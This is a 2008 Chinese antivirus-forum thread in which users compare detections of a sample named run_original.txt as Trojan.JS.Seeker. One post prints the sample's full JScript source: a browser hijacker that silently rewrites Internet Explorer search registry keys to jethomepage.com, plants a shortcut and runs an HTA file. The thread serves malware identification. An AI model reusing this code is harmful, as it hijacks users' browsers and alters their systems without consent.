这什么东西。。

qianwenxiang

from :  62nds.com/62nds/documents/run_original.txt
avast : Win32:Sitex-B [Trj]

爱过昙花

在文件 C:\Documents and Settings\Administrator\桌面\run_original\run_original.txt 中发现恶意代码。
感染: Trojan.JS.Seeker.b
操作: 已删除文件。
这是木马

Kitman

Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:         bbs.kafan.cn/attachment.php?aid=178990
Information:         Contains detection pattern of the Java script virus JS/Seeker.b.2


Generated by AntiVir WebGuard 7.01.00.13, AVE 7.6.0.46, VDF 7.0.1.192

Nerazzurri

Kaspersky Internet Security 7.0
The requested URL http://bbs.kafan.cn/attachment.php?aid=178990 is infected with Trojan.JS.Seeker.b virus

leonfg

txt?
nod报
C:\Documents and Settings\GUNDAM\桌面\run_original.rar » RAR » run_original.txt - probably a variant of JS/Seeker.A virus

a750828

McAfee JS/Seeker.gen.a

jimmyleo

1. function sEr(){self.close();return true;}
   
2. window.onerror=sEr;
   
3. fs=new ActiveXObject('Scripting.FileSystemObject');
   
4. wd='C:\\Windows\\';
   
5. t2=fs.CreateTextFile(wd+'homereg111.reg');
   
6. t2.WriteLine('REGEDIT4');
   
7. t2.WriteLine('');
   
8. t2.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main]');
   
9. t2.WriteLine('"Search Bar"="http://www.jethomepage.com/search.htm"');
   
10. t2.WriteLine('"Default_Search_URL"="http://www.jethomepage.com/search.htm"');
    
11. t2.WriteLine('"Search Page"="http://www.jethomepage.com/search.htm"');
    
12. t2.WriteLine('[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\Search]');
    
13. t2.WriteLine('"SearchAssistant"="http://www.jethomepage.com/search.htm"');
    
14. t2.WriteLine('');
    
15. t2.close();
    
16. wsh.Run(wd+'Regedit.exe -e '+wd+'backup1.reg "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\Main"'); wsh.Run(wd+'Regedit.exe -e '+wd+'backup2.reg "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main"'); wsh.Run(wd+'Regedit.exe -s '+wd+'homereg111.reg');
    
17. wd='C:\\Windows\\Favorites\\Links\\';
    
18. fs=new ActiveXObject('Scripting.FileSystemObject');t2=fs.CreateTextFile(wd+'Search The Web.url');t2.WriteLine('[InternetShortcut]');t2.WriteLine('URL=http://www.jethomepage.com/');t2.WriteLine('Modified=A0BEC84AF780BE01A6');t2.WriteLine('IconFile=http://www.jethomepage.com/favicon.ico');t2.WriteLine('');t2.close();wsh.Run('c:\\removeit.hta');
    
19. self.close();

复制代码

startpager

gho

被AVAST阻止，不知道如何贴日志

kbsj1234

靠！一向敏感的红伞竟然不报，还是NOD32关键时候靠得住！

jimmyleo

原帖由 kbsj1234 于 2008-1-4 23:31 发表
靠！一向敏感的红伞竟然不报，还是NOD32关键时候靠得住！

      [DETECTION] Contains detection pattern of the Java script virus JS/Seeker.b.2